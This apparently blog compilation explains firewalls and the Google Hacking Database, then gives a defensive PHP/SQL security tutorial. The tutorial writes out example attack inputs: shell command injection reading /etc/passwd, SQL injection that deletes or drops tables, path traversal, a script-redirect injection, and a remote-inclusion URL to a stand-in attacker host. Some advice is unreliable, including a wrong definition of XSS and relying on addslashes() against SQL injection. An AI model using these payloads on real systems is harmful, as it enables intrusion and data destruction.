Firewall
Definition
A firewall is a device or set of devices configured to permit, deny, encrypt, or proxy all computer traffic between different security domains based upon a set of rules or other criteria.
Function
A firewall is a dedicated appliance, or software running on another computer, which inspects network traffic passing through it, and denies or permits passage based on a set of rules.
A firewall's basic task is to regulate some of the flow of traffic between computer networks of different trust levels. Typical examples are the Internet which is a zone with no trust and an internal network which is a zone of higher trust. A zone with an intermediate trust level, situated between the Internet and a trusted internal network, is often referred to as a "perimeter network" or Demilitarized zone (DMZ).
A firewall's function within a network is similar to firewalls with fire doors in building construction. In the former case, it is used to prevent network intrusion to the private network. In the latter case, it is intended to contain and delay structural fire from spreading to adjacent structures.
Without proper configuration, a firewall can often become worthless. Standard security practices dictate a "default-deny" firewall ruleset, in which the only network connections which are allowed are the ones that have been explicitly allowed. Unfortunately, such a configuration requires detailed understanding of the network applications and endpoints required for the organization's day-to-day operation. Many businesses lack such understanding, and therefore implement a "default-allow" ruleset, in which all traffic is allowed unless it has been specifically blocked. This configuration makes inadvertent network connections and system compromise much more likely.
History
First generation - packet filters
The first paper published on firewall technology was in 1988, when engineers from Digital Equipment Corporation (DEC) developed filter systems known as packet filter firewalls. This fairly basic system was the first generation of what would become a highly evolved and technical internet security feature. At AT&T Bell Labs, Bill Cheswick and Steve Bellovin were continuing their research in packet filtering and developed a working model for their own company based upon their original first generation architecture.
Packet filters act by inspecting the "packets" which represent the basic unit of data transfer between computers on the Internet. If a packet matches the packet filter's set of rules, the packet filter will drop (silently discard) the packet, or reject it (discard it, and send "error responses" to the source).
This type of packet filtering pays no attention to whether a packet is part of an existing stream of traffic (it stores no information on connection "state"). Instead, it filters each packet based only on information contained in the packet itself (most commonly using a combination of the packet's source and destination address, its protocol, and, for TCP and UDP traffic, which comprises most internet communication, the port number).
Because TCP and UDP traffic by convention uses well known ports for particular types of traffic, a "stateless" packet filter can distinguish between, and thus control, those types of traffic (such as web browsing, remote printing, email transmission, file transfer), unless the machines on each side of the packet filter are both using the same non-standard ports.
Second generation - "stateful" filters
In computing, a stateful firewall (any firewall that performs stateful packet inspection (SPI) or stateful inspection) is a firewall that keeps track of the state of network connections (such as TCP streams, UDP communication) travelling across it. The firewall is programmed to distinguish legitimate packets for different types of connections. Only packets matching a known connection state will be allowed by the firewall; others will be rejected.Second Generation firewalls in addition regard placement of each individual packet within the packet series. This technology is generally referred to as a stateful firewall as it maintains records of all connections passing through the firewall and is able to determine whether a packet is either the start of a new connection, a part of an existing connection, or is an invalid packet. Though there is still a set of static rules in such a firewall, the state of a connection can in itself be one of the criteria which trigger specific rules.
This type of firewall can help prevent attacks which exploit existing connections, or certain Denial-of-service attacks.
Third generation - application layer
In computer networking, an application layer firewall is a firewall operating at the application layer of a protocol stack. Generally it is a host using various forms of proxy servers to proxy traffic instead of routing it. As it works on the application layer, it may inspect the contents of the traffic, blocking what the firewall administrator views as inappropriate content, such as certain websites, viruses, attempts to exploit known logical flaws in client software, and so forth.
An application layer firewall does not route traffic on the network layer. All traffic stops at the firewall which may initiate its own connections if the traffic satisfies the rules.
The key benefit of application layer filtering is that it can "understand" certain applications and protocols (such as File Transfer Protocol, DNS, or web browsing), and it can detect whether an unwanted protocol is being sneaked through on a non-standard port or whether a protocol is being abused in a known harmful way.Types
There are several classifications of firewalls depending on where the communication is taking place, where the communication is intercepted and the state that is being traced.
Network layer and packet filters
Network layer firewalls, also called packet filters, operate at a relatively low level of the TCP/IP protocol stack, not allowing packets to pass through the firewall unless they match the established rule set. The firewall administrator may define the rules; or default rules may apply. The term packet filter originated in the context of BSD operating systems.
Network layer firewalls generally fall into two sub-categories, stateful and stateless. Stateful firewalls maintain context about active sessions, and use that "state information" to speed up packet processing. Any existing network connection can be described by several properties, including source and destination IP address, UDP or TCP ports, and the current stage of the connection's lifetime (including session initiation, handshaking, data transfer, or completion connection). If a packet does not match an existing connection, it will be evaluated according to the ruleset for new connections. If a packet matches an existing connection based on comparison with the firewall's state table, it will be allowed to pass without further processing.
Stateless firewalls have packet-filtering capabilities, but cannot make more complex decisions on what stage communications between hosts have reached.
Modern firewalls can filter traffic based on many packet attributes like source IP address, source port, destination IP address or port, destination service like WWW or FTP. They can filter based on protocols, TTL values, netblock of originator, domain name of the source, and many other attributes.
Commonly used packet filters on various versions of Unix are ipf (various), ipfw (FreeBSD/Mac OS X), pf (OpenBSD, and all other BSDs), iptables/ipchains (Linux).
Application-layer
Application-layer firewalls work on the application level of the TCP/IP stack (i.e., all browser traffic, or all telnet or ftp traffic), and may intercept all packets traveling to or from an application. They block other packets (usually dropping them without acknowledgement to the sender). In principle, application firewalls can prevent all unwanted outside traffic from reaching protected machines.
On inspecting all packets for improper content, firewalls can restrict or prevent outright the spread of networked computer worms and trojans. In practice, however, this becomes so complex and so difficult to attempt (given the variety of applications and the diversity of content each may allow in its packet traffic) that comprehensive firewall design does not generally attempt this approach.
The XML firewall exemplifies a more recent kind of application-layer firewall.
Companies like SecureComputing (www.securecomputing.com) are a major manufacturer of Application Layer Firewalls.
Proxies
- Refernces: Proxy server
A proxy device (running either on dedicated hardware or as software on a general-purpose machine) may act as a firewall by responding to input packets (connection requests, for example) in the manner of an application, whilst blocking other packets.
Proxies make tampering with an internal system from the external network more difficult and misuse of one internal system would not necessarily cause a security breach exploitable from outside the firewall (as long as the application proxy remains intact and properly configured). Conversely, intruders may hijack a publicly-reachable system and use it as a proxy for their own purposes; the proxy then masquerades as that system to other internal machines. While use of internal address spaces enhances security, crackers may still employ methods such as IP spoofing to attempt to pass packets to a target network.
Network address translation
Firewalls often have network address translation (NAT) functionality, and the hosts protected behind a firewall commonly have addresses in the "private address range", as defined in RFC 1918. Firewalls often have such functionality to hide the true address of protected hosts. Originally, the NAT function was developed to address the limited number of IPv4 routable addresses that could be used or assigned to companies or individuals as well as reduce both the amount and therefore cost of obtaining enough public addresses for every computer in an organization. Hiding the addresses of protected devices has become an increasingly important defense against network reconnaissance.
8:42:00 PM | Labels: firewall, Internet, internet security, web | 0 Comments
Google Hacking
The Google Hacking Database (GHDB) is a database of queries that identify sensitive data. Although Google blocks some of the better known Google hacking queries, nothing stops a hacker from crawling your site and launching the Google Hacking Database queries directly onto the crawled content.The GHDB is maintained by Johhny Long who is a "white hat" Hacker. He made google hacking public in his site: http://johnny.ihackstuff.com/ and he called it Google Hacking Database(GHDB) .There are more than 1500 queries in the GHDB. In Around 1995, it started as not so serious project about discovering network vulnerabilities through Google Search Engine. As Google crawlers crawl on almost every file it can access, many confidential information leak out sometimes. The list of what Long and his fellow Google hackers have been able to dig up is impressive: passwords, credit card numbers and unsecured Web interfaces to things like PBXs, routers and Web sites.
Hackers also use Google for reconnaissance. One of the most basic techniques is to wait for a major security bulletin and then use Google to search for Web sites that are "powered by" the buggy software. Attackers can also map out computer networks using Google's database, making it impossible for the networks' administrators to block the snooper.
Often, this kind of information comes in the form of apparently nonsensical information, something that Long calls "Google turds." For example, because there is no such thing as a Web site with the URL "nasa," a Google search for the query "site:nasa" should turn up zero results. Instead, it turns up what appears to be a list of servers, offering an insight into the structure of NASA's internal network, he says.
But some of the most interesting hacks occur when Google's servers are tricked into doing work for the hackers, Long says. A recent trend has been to create Web pages with thousands of fake links that trick Google into doing hacker reconnaissance work. The technique works on Web sites that require URLs with embedded user names and passwords for access to some areas.
"You load up this page so it has the same user name, but you try a bunch of different passwords in the links," Long says. "Then the search engine picks up those links and tries to follow them all, but only caches the one that works. So then you go back and pick up your results, and you've actually got the search engine doing your dirty work.What a hacker can do if your site is vulnerable
Information that the Google Hacking Database identifies:
- Advisories and server vulnerabilities
- Error messages that contain too much information
- Files containing passwords
- Sensitive directories
- Pages containing logon portals
- Pages containing network or vulnerability data such as firewall logs.
- Vulnerable Files
- Detection of Online Devices
- Web Server Profiling
12:54:00 AM | Labels: Google, Google Hacking, Internet, internet security, web | 0 Comments
PHP/SQL Security
Web Security: The Big Picture
Whether your site is the web presence for a large multinational, a gallery showing your product range and inviting potential customers to come into the shop, or a personal site exhibiting your holiday photos, web security matters. After the hard work put in to make your site look good and respond to your users, the last thing you want is for a malicious hacker to come along and break it somehow.
There are a number of problems in web security, and unfortunately not all of them have definite solutions, but here we’ll look at some of the problems that should be considered every time you set out to write a PHP script. These are the problems which, with well-designed code, can be eliminated entirely. Before looking in detail at the solutions, though, lets take a moment to define the problems themselves.
SQL Injection
In this attack, a user is able to execute SQL queries in your website’s database. This attack is usually performed by entering text into a form field which causes a subsequent SQL query, generated from the PHP form processing code, to execute part of the content of the form field as though it were SQL. The effects of this attack range from the harmless (simply using SELECT to pull another data set) to the devastating (DELETE, for instance). In more subtle attacks, data could be changed, or new data added.
Directory Traversal
This attack can occur anywhere user-supplied data (from a form field or uploaded filename, for example) is used in a filesystem operation. If a user specifies “../../../../../../etc/passwd” as form data, and your script appends that to a directory name to obtain user-specific files, this string could lead to the inclusion of the password file contents, instead of the intended file. More severe cases involve file operations such as moving and deleting, which allow an attacker to make arbitrary changes to your filesystem structure.
Authentication Issues
Authentication issues involve users gaining access to something they shouldn’t, but to which other users should. An example would be a user who was able to steal (or construct) a cookie allowing them to login to your site under an Administrator session, and therefore be able to change anything they liked.
Remote Scripts (XSS)
XSS, or Cross-Site Scripting (also sometimes referred to as CSS, but this can be confused with Cascading Style Sheets, something entirely different!) is the process of exploiting a security hole in one site to run arbitrary code on that site’s server. The code is usually included into a running PHP script from a remote location. This is a serious attack which could allow any code the attacker chooses to be run on the vulnerable server, with all of the permissions of the user hosting the script, including database and filesystem access.
Processing User Data – Form Input Verification & HTML Display
Validating Input And Stripping Tags
When a user enters information into a form which is to be later processed on your site, they have the power to enter anything they want. Code which processes form input should be carefully written to ensure that the input is as requested; password fields have the required level of complexity, e-mail fields have at least some characters, an @ sign, some more characters, a period, and two or more characters at the end, zip or postal codes are of the required format, and so on.
Each of these may be verified using regular expressions, which scan the input for certain patterns. An example for e-mail address verification is the PHP code shown below. This evaluates to true if an e-mail address was entered in the field named ‘email’.
preg_match(’/^.+@.+\..{2,3}$/’,$_POST['email']);
This code just constructs a regular expression based on the format described above for an e-mail address. Note that this will return true for anything with an @ sign and a dot followed by 2 or 3 characters. That is the general format for an e-mail address, but it doesn’t mean that address necessarily exists; you’d have to send mail to it to be sure of that.
Interesting as this is, how does it relate to security? Well, consider a guestbook as an example. Here, users are invited to enter a message into a form, which then gets displayed on the HTML page along with everyone else’s messages. For now, we won’t go into database security issues, the problems dealt with below can occur whether the data is stored in a database, a file, or some other construct.
If a user enters data which contains HTML, or even JavaScript, then when the data is included into your HTML for display later, their HTML or JavaScript will also get included.
If your guestbook page displayed whatever was entered into the form field, and a user entered the following,
Hi, I love your site.
Then the effect is minimal, when displayed later, this would appear as,
Hi, I love your site.
Of course, when the user enters JavaScript, things can get a lot worse. For example, the data below, when entered into a form which does not prevent JavaScript ending up in the final displayed page, will cause the page to redirect to a different website. Obviously, this only works if the client has JavaScript enabled in their browser, but the vast majority of users do.
Hi, I love your site. Its great!document.location=”http://www.acunetix.com/”;
// –>
For a split second when this is displayed, the user will see,
Hi, I love your site. Its great!
The browser will then kick in and the page will be refreshed from www.acunetix.com. In this case, a fairly harmless alternative page, although it does result in a denial of service attack; users can no longer get to your guestbook.
Consider a case where this was entered into an online order form. Your order dispatchers would not be able to view the data because every time they tried, their browser would redirect to another site. Worse still, if the redirection occurred on a critical page for a large business, or the redirection was to a site containing objectionable material, custom may be lost as a result of the attack.
Fortunately, PHP provides a way to prevent this style of attack. The functions strip_tags(), nl2br() and htmlspecialchars() are your friends, here.
strip_tags() removes any PHP or HTML tags from a string. This prevents the HTML display problems, the JavaScript execution (the
tag will no longer be present) and a variety of problems where there is a chance that PHP code could be executed.
// –>
nl2br() converts newline characters in the input to
HTML tags. This allows you to format multi-line input correctly, and is mentioned here only because it is important to run strip_tags() prior to running nl2br() on your data, otherwise the newly inserted
tags will be stripped out when strip_tags() is run!
Finally, htmlspecialchars() will entity-quote characters such as <, > and & remaining in the input after strip_tags() has run. This prevents them being misinterpreted as HTML and makes sure they are displayed properly in any output.
Having presented those three functions, there are a few points to make about their usage. Clearly, nl2br() and htmlspecialchars() are suited for output formatting, called on data just before it is output, allowing the database or file-stored data to retain normal formatting such as newlines and characters such as &. These functions are designed mainly to ensure that output of data into an HTML page is presented neatly, even after running strip_tags() on any input.
strip_tags(), on the other hand, should be run immediately on input of data, before any other processing occurs. The code below is a function to clean user input of any PHP or HTML tags, and works for both GET and POST request methods.
function _INPUT($name)
{
if ($_SERVER['REQUEST_METHOD'] == ‘GET’)
return strip_tags($_GET[$name]);
if ($_SERVER['REQUEST_METHOD'] == ‘POST’)
return strip_tags($_POST[$name]);
}
This function could easily be expanded to include cookies in the search for a variable name. I called it _INPUT because it directly parallels the $_ arrays which store user input. Note also that when using this function, it does not matter whether the page was requested with a GET or a POST method, the code can use _INPUT() and expect the correct value regardless of request method. To use this function, consider the following two lines of code, which both have the same effect, but the second strips the PHP and HTML tags first, thus increasing the security of the script.
$name = $_GET['name');
$name = _INPUT('name');
If data is to be entered into a database, more processing is needed to prevent SQL injection, which will be discussed later.
Executing Code Containing User Input
Another concern when dealing with user data is the possibility that it may be executed in PHP code or on the system shell. PHP provides the eval() function, which allows arbitrary PHP code within a string to be evaluated (run). There are also the system(), passthru() and exec() functions, and the backtick operator, all of which allow a string to be run as a command on the operating system shell.
Where possible, the use of all such functions should be avoided, especially where user input is entered into the command or code. An example of a situation where this can lead to attack is the following command, which would display the results of the command on the web page.
echo 'Your usage log:
';
$username = $_GET['username'];
passthru(“cat /logs/usage/$username”);
passthru() runs a command and displays the output as output from the PHP script, which is included into the final page the user sees. Here, the intent is obvious, a user can pass their username in a GET request such as usage.php?username=andrew and their usage log would be displayed in the browser window.
But what if the user passed the following URL?
usage.php?username=andrew;cat%20/etc/passwd
Here, the username value now contains a semicolon, which is a shell command terminator, and a new command afterwards. The %20 is a URL-Encoded space character, and is converted to a space automatically by PHP. Now, the command which gets run by passthru() is,
cat /logs/usage/andrew;cat /etc/passwd
Clearly this kind of command abuse cannot be allowed. An attacker could use this vulnerability to read, delete or modify any file the web server has access to. Luckily, once again, PHP steps in to provide a solution, in the form of the escapeshellarg() function. escapeshellarg() escapes any characters which could cause an argument or command to be terminated. As an example, any single or double quotes in the string are replaced with \’ or \”, and semicolons are replaced with \;. These replacements, and any others performed by escapeshellarg(), ensure that code such as that presented below is safe to run.
$username = escapeshellarg($_GET['username']);
passthru(“cat /logs/usage/$username”);
Now, if the attacker attempts to read the password file using the request string above, the shell will attempt to access a file called “/logs/usage/andrew;cat /etc/passwd”, and will fail, since this file will almost certainly not exist.
It is generally considered that eval() called on code containing user input be avoided at all costs; there is almost always a better way to achieve the desired effect. However, if it must be done, ensure that strip_tags has been called, and that any quoting and character escapes have been performed.
SQL Injection
SQL (Structured Query Language) is the language used to interface with many database systems, including MySQL, PostgreSQL and MSSQL. Certain words and characters are interpreted specially by SQL, as commands, separators, or command terminators, for instance.
When a user enters data into a form, there is nothing stopping them entering these special commands and characters. Consider the PHP code below:
$query = “INSERT INTO orders(address) VALUES(’$_GET['address']‘)”;
$result = mysql_query($query);
A form with a textbox named address would be used to gather the information for this page. We’ll ignore any other form elements for now, but obviously there’d be the order items, a name, possibly a price, a delivery date, and so on, which would also all need storing in a database.
Imagine a perfectly legitimate user comes along and enters the following address
14 King’s Way
Kingston
Kingham County
The database would spit back an error because the SQL command would be malformed. In the query, the address value is surrounded by single quotes, because it is a string value. When the database hits the apostrophe in King’s Way, it will treat it as the closing single quote, and end the string. The rest of the address will be treated as SQL commands. Since these “commands” don’t exist, the database returns to PHP with an error.
Now consider an attacker entering the following information into the form:
14 Kings Way
Kingston
Kingham County’);DELETE FROM orders *; INSERT INTO ORDERS(address) VALUES(’Your data just got deleted by us. We win
Now, the command will succeed. The expected string data is presented, along with a closing quote. The opening ( after VALUES is closed, and the SQL command is terminated using a semicolon. After this, another command begins, one which tells the database to delete the entire contents of the orders table. Then, because the SQL hard-coded into the PHP contains another closing single quote, a third SQL command is entered, which leaves an open string value. This will be matched up with the final quote in the hard-coded SQL, and the entire command is syntactically correct, as far as SQL is concerned, and will therefore execute with no complaint.
Clearly, it is not desirable for any user to be able to issue arbitrary queries simply by posting data in a form. Luckily for us, as with the PHP and HTML input issues discussed in part 1, PHP provides a solution. The addslashes() and stripslashes() functions step in to prevent the above scenarios, and any number of similar attacks.
addslashes() will escape characters with a special meaning to SQL, such as ‘ or ; by prefixing them with a backslash (\), the backslash itself is also escaped, becoming \\. stripslashes() performs the opposite conversion, removing the prefix slashes from a string.
When entering data into a database, addslashes() should be run on all user-supplied data, and any PHP generated data which may contain special characters. To guarantee safety, simply run addslashes() on every string input to the database, even if it was generated internally by a PHP function. Similarly, be sure to run stripslashes() when pulling data back out from the database.
Non-String Variables
Since PHP automatically determines the type of a variable, you should also check variables which you expect to be integers or other data types. For instance, the int type in SQL does not need to be quoted, but it is still possible for a string in a PHP variable to be inserted into an SQL query in the position an integer would usually take. Consider the example below.
$query = “INSERT INTO customers(customer_number) VALUES($_POST['number'])”;
If a user supplied the value
0); DROP TABLE customers; CREATE TABLE customers(customer_id
then the same kind of attack as before can be mounted. In this case, simply using addslashes() isn’t enough: you will prevent the command execution, but the database will still consider this to be an error as the words are not valid in that context. The only way to ensure against this kind of attack is to perform consistent input validation. Make sure that a value you think should be an integer really is. A regular expression that matches any non-integer characters should return false on a PHP string containing only an “integer”. When that string is treated as an integer by SQL, it will therefore not cause any errors or unexpected code execution.
Database Ownership & Permissions
There are other precautions you may be able to take to prevent some of the more serious SQL injection attacks. One such course of action is to implement access control on the database. Many database packages support the concept of users, and it should be possible to set an owner, with full permissions to modify anything within the database, and other users which may only connect and issue SELECT or INSERT queries, thus preserving any data already entered against DELETE or DROP commands. The specifics of achieving such protection will depend on the database system you’re using, and consulting the documentation or user manual should reveal how to implement access control.
The user designated as the database owner should never be used to connect to the database from a PHP script; owner privileges should be used on consoles or web admin interfaces such as phpmysqladmin. If a script requires the DELETE or UPDATE commands, it should ideally use a separate user account to the standard account, so that the standard account can only add data using INSERT, and retrieve data using SELECT. This separation of permissions prevents attacks by limiting the effectiveness of any one SQL injection avenue. If, by poor or forgetful programming, a user can inject SQL into one script, they will gain only SELECT / INSERT permissions, or only UPDATE / DELETE permissions, and never sufficient permissions to drop entire tables or modify the table structure using the ALTER command.
File Permissions
Data in a database system must be stored somehow on disk. The database system itself is responsible for exactly how the data is stored, but usually there will be a data/ directory under which the database keeps its files. On a shared hosting system, or a system which allows users some access to the filesystem, it is essential to reduce the permissions on this file to a bare minimum; only the system user under which the database process itself runs should have read or write access to the data files. The web server does not need access as it will communicate with the database system for its data, instead of accessing the files directly.
Making Database Connections
PHP usually connects to the database management system through a TCP socket or a local domain socket (on UNIX/Linux). Where possible, you should prevent connections to this socket from IP addresses or processes other than the web server, and any other process which needs access to the data (for example, if you have internal order processing software which does not run through the web server). If the web server and the database server are on the same computer, and no other services are running which may be exploited to provide a database connection, it should be sufficient to allow only the local host (given by the hostname localhost or the IP address 127.0.0.1) access to the TCP port on which the database manager is listening. If the web server and database server are on different machines, the IP of the web server should be specified explicitly. In short, limit the access to the database as much as possible without breaking anything that needs access to it. This should help to ensure that the only access channel is via your PHP scripts, and those have been written securely enough to check for unexpected or unauthorised data and reject it before it reaches the database.
Database Passwords In Scripts
Finally, a word on database passwords. Each database user should be assigned a password, and your scripts will need this password in order to initiate a connection to the database. Ideally, scripts containing configuration data such as the database username and password should be stored outside of the web server’s document root. This prevents a casual attacker retrieving the plain text of the configuration file and obtaining the database password.
Other methods to consider are to use a .php extension for the file, instead of the commonly used .inc extension, for included files. The .php extension ensures that the file is passed through PHP before output is sent to the user’s browser, and so it is possible to prevent display of data within the file simply by not echoing it!
.htaccess files provide a third method of protecting against password grabbing. If you deny web access to files whose names begin with .databaseconfig, for instance, a user cannot easily obtain the file through the web server directly.
Of course, a user may still be able to exploit file access security vulnerabilities in scripts to obtain, or even to change, the contents of the file.
Directory Traversal Attacks
In a directory traversal attack, the attacker will specify a filename containing characters which are interpreted specially by the filesystem. Usually, . refers to the same directory, and .. refers to its parent directory. For example, if your script asks for a username, then opens a file specific to that username (code below) then it can be exploited by passing a username which causes it to refer to a different file.
$username = $_GET['user'];
$filename = “/home/users/$username”;
readfile($filename);
If an attacker passes the query string
?user=../../etc/passwd
then PHP will read /etc/passwd and output that to the user. Since most operating systems restrict access to system files, and with the advent of shadow password files, this specific attack is less useful than it previously was, but similarly damaging attacks can be made by obtaining .php files which may contain database passwords, or other configuration data, or by obtaining the database files themselves. Anything which the user executing PHP can access (usually, since PHP is run from within a web server, this is the user the web server runs as), PHP itself can access and output to a remote client.
Once again, PHP provides functions which step in and offer some protection against this kind of attack, along with a configuration file directive to limit the file paths a PHP script may access.
realpath() and basename() are the two functions PHP provides to help avoid directory traversal attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For example, the $filename from above, passed into realpath(), would return
/etc/passwd
basename() strips the directory part of a name, leaving behind just the filename itself. Using these two functions, it is possible to rewrite the script above in a much more secure manner.
$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);
This variant is immune to directory traversal attacks, but it does not prevent a user requesting a file they weren’t expected to request, but which was in the same directory as a file they are allowed to request. This can only be prevented by changing filesystem permissions on files, by scanning the filename for prohibited filenames, or by moving files you do not want people to be able to request the contents of outside of the directory containing the files you do want people to be able to access.
The configuration file variable open_basedir can be used to specify the base directory, or a list of base directories, from which PHP can open files. A script is forbidden to open a file from a directory which is not in the list, or a subdirectory of one in the list.
Note that PHP included files are subject to this restriction, so the standard PHP include directory should be listed under open_basedir as well as any directories containing files you wish to provide access to through PHP. open_basedir can be specified in php.ini, globally in httpd.conf, or as a per-virtual host setting in httpd.conf. The php.ini syntax is
open_basedir = “/path:/path2:/path3”
The httpd.conf syntax makes use of the php_admin_value option,
php_admin_value open_basedir “/path:/path2:/path3”
open_basedir cannot be overridden in .htaccess files.
Remote Inclusion
PHP can be configured with the allow_url_fopen directive, which allows it to treat a URL as a local file, and allows URLs to be passed to any PHP function which expects a filename, including readfile() and fopen(). This provides attackers with a mechanism by which they can cause remote code to be executed on the server.
Consider the following case. Here, the include() function is used to include a PHP page specific to an individual user. This may be to import their preferences as a series of variables, or to import a new set of functionality for a different user type.
include($_GET['username'] . ‘.php’);
This assumes that the value of username in the GET request corresponds to the name of a local file, ending with .php. When a user provides a name such as bob, this looks for bob.php in the PHP include directories (current directory, and those specified in php.ini). Consider, however, what happens if the user enters
http://www.attackers-r-us.com/nastycode
This translates to http://www.attackers-r-us.com/nastycode.php and with allow_url_fopen enabled, this remote file will be included into the script and executed. Note that the remote server would have to serve php files as the raw script, instead of processing them with a PHP module first, in order for this attack to be effective, or a script would have to output PHP code ( readfile(realnastycode.php) for instance).
Mechanisms such as the above allow attackers to execute any code they desire on vulnerable web systems. This is limited only by the limitations placed on PHP on that system, and the limitations of the user under which PHP is running (usually the same user that the entire web server is running under).
One simple way to prevent this style of attack is to disable allow_url_fopen. This can be set in php.ini. If allow_url_fopen is required for some parts of your site, another technique is to prefix the file path with the absolute path to the starting directory. This reduces the portability of your scripts, since that path must be set depending on where the script was installed, but it results in increased security, since no path starting with a / (or X:\, or whatever it is on your operating system) can be interpreted as a URL.
$username = basename(realpath($_GET['username']));
include(’/home/www/somesite/userpages/’ . $username . ‘.php’);
The code above highlights not only prefixing with an absolute path, but also protecting against directory traversal using basename and realpath.
Note that the third solution to the remote inclusion problem is to never use user-supplied filenames. This alleviates a large number of file-related security issues, and is recommended wherever possible. Databases and support for PHP concepts such as classes should reduce user-specified file operations to a minimum.
File Permissions
Files created with PHP have default permissions determined by the umask, short for unmask. This can be found by calling the umask() function with no arguments.
The file permissions set are determined by a bitwise and of the umask against the octal number 0777 (or the permissions specified to a PHP function which allows you to do so, such as mkdir(”temp”,0777) ). In other words, the permissions actually set on a file created by PHP would be 0777 & umask().
A different umask can be set by calling umask() with a numeric argument. Note that this does not default to octal, so umask(777) is not the same as umask(0777). It is always advisable to prefix the 0 to specify that your number is octal.
Given this, it is possible to change the default permissions by adding bits to the umask. A umask is “subtracted” from the default permissions to give the actual permissions, so if the default is 0777 and the umask is 0222, the permissions the file will be given are 0555. If these numbers don’t mean anything to you, see the next section on UNIX File Permissions.
The umask is clearly important for security, as it defines the permissions applied to a file, and therefore how that file may be accessed. However, the umask applies server-wide for the duration it is set, so in a multi-threaded server environment, you would set a default umask with appropriate value, and leave it at that value. Use chmod() to change the permissions after creation of files whose permissions must differ from the default.
UNIX File Permissions
UNIX file permissions are split into three parts, a user part, a group part, and an “others” part. The user permissions apply to the user whose userid is specified as the owner of the file. The group permissions apply to the group whose groupid is specified as the group owner of the file, and the other permissions apply to everyone else.
The permissions are set as a sum of octal digits for each part, where read permission is 4, write permission is 2, and execute permission is 1. To create UNIX file permissions, add each permission digit you want to apply to each part, then combine the three to get a single octal number (note, on the command line, chmod automatically treats numbers as octal, in PHP, you need to specify a leading zero).
The permissions are also commonly displayed in the form of r (read), w (write) and x (execute), written three times in a single row. The first three form the user permissions, second the group, and third others.
Take, for example, a file owned by user andrew and group users. The user andrew must be able to read, write and execute the file, the users group must be able to read and execute it, and everyone else must be able to execute only.
This corresponds to -rwxr-x–x, where each - is a placeholder for the missing character of permissions (w, for instance, in the group, and rw in the others). The - at the front is due to the fact that there is an extra part which specifies other, UNIX specific, attributes. The ls directory listing tool uses this first column to display a d character if the item is a directory.
To obtain this permission set in octal, simply add the digits 4, 2 and 1, in three separate numbers, then combine them in order. The user permissions are rwx, which is 4 + 2 + 1 = 7. The group permissions are r-x, which is 4 + 1 = 5, and the other permissions are –x, which is 1 = 1. We now have the values 7 for user, 5 for group, and 1 for others, which combines to the octal number 0751.
The actual permissions applied to a file created depend on the permissions set, and the umask, which subtracts from the permissions set (actually its a bitwise and, but it has the effect of subtracting, as long as you treat the permissions as though they were three distinct octal numbers, and not a single three digit octal number). A umask of 0266, (which is equivalent to not write, not read or write, not read or write, for user, group, and others, respectively) applied to a default permission of 0777, results in 0511, which is -r-x–x–x. The umask is determined in the same way as the permissions, but you start with 7 and subtract the numbers for the permissions you do not want.
File Uploads
File uploads can occur as part of a multi-part HTTP POST request. PHP provides ways to process these file uploads in a secure manner, including checking to make sure the file you’re operating on was in fact an uploaded file. There are several security issues with file uploads which should be addressed when designing secure PHP sites.
In the file-upload procedure, the filename as determined by the web browser is passed to the web server, and thus to the PHP script. The filename supplied by the browser is part of the submitted data, which may be under the control of an attacker and therefore this filename should be distrusted wherever it is possible to do so.
Consider the following case as an example. A PHP script which moves files to the location reported by $_FILES['file']['name'] receives an upload from a browser which told the web server the file it had just uploaded was /home/andrew/.bashrc
Normally, .bashrc is a file which is associated with the UNIX Bash shell, and contains commands executed by Bash every time a Bash shell is started. These commands clearly run as the user who invoked the shell, and have all of the privileges and permissions of that user. If PHP has write access to their home directory, using the name of an uploaded file as it was supplied would allow for an attacker to position a carefully prepared .bashrc file with a single POST request. This file might then open a terminal session piped over a network port, or run some kind of exploit or root kit, or worse!
In order to prevent this kind of attack, we must take heed of the advice from part three of this series, stripping the filename down to remove the path data, and distrust the browser-supplied filename. In doing so, it is ideally best to create unique file names locally, perhaps based on the current time, or some unique sequence stored in a (secure) database, and to use those unique names as the actual on-disk filename. In order to avoid confusing end-users, it is possible to map the real (unique) filename to the browser-supplied filename by means of a database, and the browser-supplied name can be used for all interaction with the user, whereas the unique, locally generated filename, will be used for any server-side file operations.
If such a mechanism is not practical, for whatever reason, the precautions from part three should be followed, and the browser-supplied filename should be expanded to an absolute path using the realpath() function, and then the file name part only obtained with the basename() function. realpath() translates any . (which refers to the current directory) or .. (which refers to the parent directory) in a path, resulting in the correct absolute path for a file. basename() strips the directory part of a name, leaving behind just the filename itself. This sanitised filename should then be reasonably safe to use directly with the file functions of PHP.
However, if an attacker somehow managed to learn your directory structure, then they may be able to overwrite other files in the directory into which you place any uploaded files, by providing an upload with the same name as an existing one, or with the same name as one of your PHP scripts, which may then get included into another script and executed, or executed directly by web access to that script, if it is in a location accessible to the web server. The script execution scenario represents a very clear security threat, as has been explained in the previous parts of this series, but many more subtle security issues can occur as a result of replacement of a variety of system files, files PHP or the web server rely on, or files used by your web application itself.
To maintain the best security, locally generated and unique filenames should be preferred over the browser-supplied ones, and checks for the existence of a file should be made prior to moving an uploaded file into a directory, so as to prevent accidental (or intentional!) overwriting of files already on the server.
File uploads can be turned off altogether if there is no reason for your web application to accept uploaded files. This may be achieved by setting the following directive in php.ini
file_uploads = Off
When file uploading is turned on, it is possible for the drive to become filled by repeated uploads or by large files being uploaded. PHP provides a mechanism to limit the length of any uploaded files, preventing the upload of files larger than this size, but you would have to perform checks yourself to make sure that the disk being used as the destination for these uploaded files contains enough space that the file upload will not cause the free space to go below a critical amount required for the functioning of the system. If the web server, or any other service on the system, cannot create the files it needs to perform its duty, because uploaded files have filled the available drive space, this is a form of Denial of Service attack.
Individual POST requests can be limited in size using the following directive in the php.ini file
post_max_size = 8M
Where the 8M sets an 8MB limit for the entire POST request. Note that file uploads make up only a part of the multi-part HTTP POST request, and that if multiple files are uploaded, the sum of their sizes forms the total file upload size, which is only one part of the POST request size.
To control file upload size specifically, you can use the following php.ini directive
upload_max_filesize = 2M
Where 2M specifies a 2MB filesize limit. Once again, note that this is the total file size for all files included in the POST request, and not a per-file limit. The upload_max_filesize should be slightly smaller than the post_max_size because the POST request will contain other data, headers and form fields, beyond the file data itself.
The default post_max_size is 10MB, which is much larger than most sites require. Processing a POST request takes time, so limiting the size of the request prevents an attacker from initiating several large POST requests which would use up resources on the server and deny service to other users. Setting this value to a lower value, around 2MB for sites which require small file uploads, or under 1MB for sites which do not, should improve the responsiveness of the server if it is under attack.
